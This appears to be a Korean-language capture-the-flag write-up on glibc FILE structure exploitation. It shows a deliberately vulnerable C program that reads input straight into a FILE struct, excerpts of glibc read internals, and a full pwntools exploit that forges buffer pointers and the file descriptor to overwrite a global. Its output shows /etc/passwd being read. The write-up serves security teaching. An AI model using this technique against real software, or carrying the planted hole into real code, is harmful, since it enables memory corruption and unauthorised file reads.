// Name: iofile_aaw
// gcc -o iofile_aaw iofile_aaw.c -no-pie
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char account_buf[1024];
int overwrite_me;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int read_account() {
FILE *fp;
fp = fopen("/etc/passwd", "r");
fread(account_buf, sizeof(char), sizeof(account_buf), fp);
write(1, account_buf, sizeof(account_buf));
fclose(fp);
}
int main() {
FILE *fp;
char file_buf[1024];
init();
fp = fopen("/etc/issue", "r");
printf("Data: ");
read(0, fp, 300);
fread(file_buf, 1, sizeof(file_buf)-1, fp);
printf("%s", file_buf);
if( overwrite_me == 0xDEADBEEF)
read_account();
fclose(fp);
}
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
_IO_size_t want, have;
_IO_ssize_t count;
_char *s = data;
want = n;
...
/* If we now want less than a buffer, underflow and repeat
the copy. Otherwise, _IO_SYSREAD directly to
the user buffer. */
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break;
continue;
}
...
}
파일 읽기 함수는 대표적으로 fread, fgets가 있는데, 해당 함수는 라이브러리 내부에서 _IO_file_xsgetn 함수를 호출합니다.
해당 함수는 인자로 전달된 n이 _IO_buf_end - _IO_buf_base 값보다 작은지를 검사하고 __underflow 즉, _IO_new_file_underflow 함수를 호출합니다.
실제로 파일의 내용을 읽는 과정은 _IO_new_file_underflow를 시작으로 다양한 함수가 호출되면서 이뤄집니다.
int _IO_new_file_underflow (FILE *fp)
{
ssize_t count;
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
...
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
}
코드를 살펴보면 함수 내부에서 파일 포인터 _flags 변수에 읽기 권한이 부여되어 있는지 확인합니다. 이후 _IO_SYSREAD 함수의 인자로 파일 포인터와 파일 구조체의 멤버 변수를 연산한 값이 전달됩니다.
_IO_SYSREAD 함수는 vtable의 _IO_file_read 함수로, 아래 매크로에서 확인할 수 있습니다.
#define _IO_SYSREAD(FP, DATA, LEN) JUMP2 (__read, FP, DATA, LEN)
_IO_ssize_t
_IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size)
{
return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0)
? __read_nocancel (fp->_fileno, buf, size)
: __read (fp->_fileno, buf, size));
}
_IO_file_read 함수 내부에서는 read 시스템 콜을 사용해 파일의 데이터를 읽습니다. 인자로 파일 구조체에서 파일 디스크립터를 나타내는 _fileno, _IO_buf_base인 buf, 그리고 _IO_buf_end - _IO_buf_base로 연산된 size 변수가 전달됩니다.
read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base);
❯ checksec iofile_aaw
[*] '/root/tmp/iofile_aaw'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
fread 함수에서 참조하는 파일 구조체를 조작해 overwrite_me의 값을 0xDEADBEEF로 덮어 "/etc/passwd" 파일 내용을 흭득해야 합니다.
1. 파일 구조체 조작
read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base);
payload += p64(overwrite_me) # _IO_buf_base
payload += p64(overwrite_me+1024) # _IO_buf_end
overwrite_me에 값을 쓰기 위해 _IO_buf_base와 _IO_buf_end에 각각 overwrite_me 주소와 overwrite_me + 1024의 주소를 입력합니다.
payload += p64(0) # stdin
표준 입력으로 값을 입력할 수 있도록 _fileno를 0으로 변경합니다.
# Name: iofile_aaw.py
from pwn import *
p = process("./iofile_aaw")
elf = ELF('./iofile_aaw')
overwrite_me = elf.symbols['overwrite_me']
payload = p64(0xfbad2488)
payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(0) # _IO_write_base
payload += p64(0) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(overwrite_me) # _IO_buf_base
payload += p64(overwrite_me+1024) # _IO_buf_end
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0) # stdin
p.sendline(payload)
p.sendline(p64(0xDEADBEEF) + b"\x00"*1024)
p.interactive()
❯ python3 exploit.py
[+] Starting local process './iofile_aaw': pid 3365
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/tmp/iofile_aaw'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Switching to interactive mode
Data: ᆳ\xderoot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systefree(): invalid pointer
[*] Got EOF while reading in interactive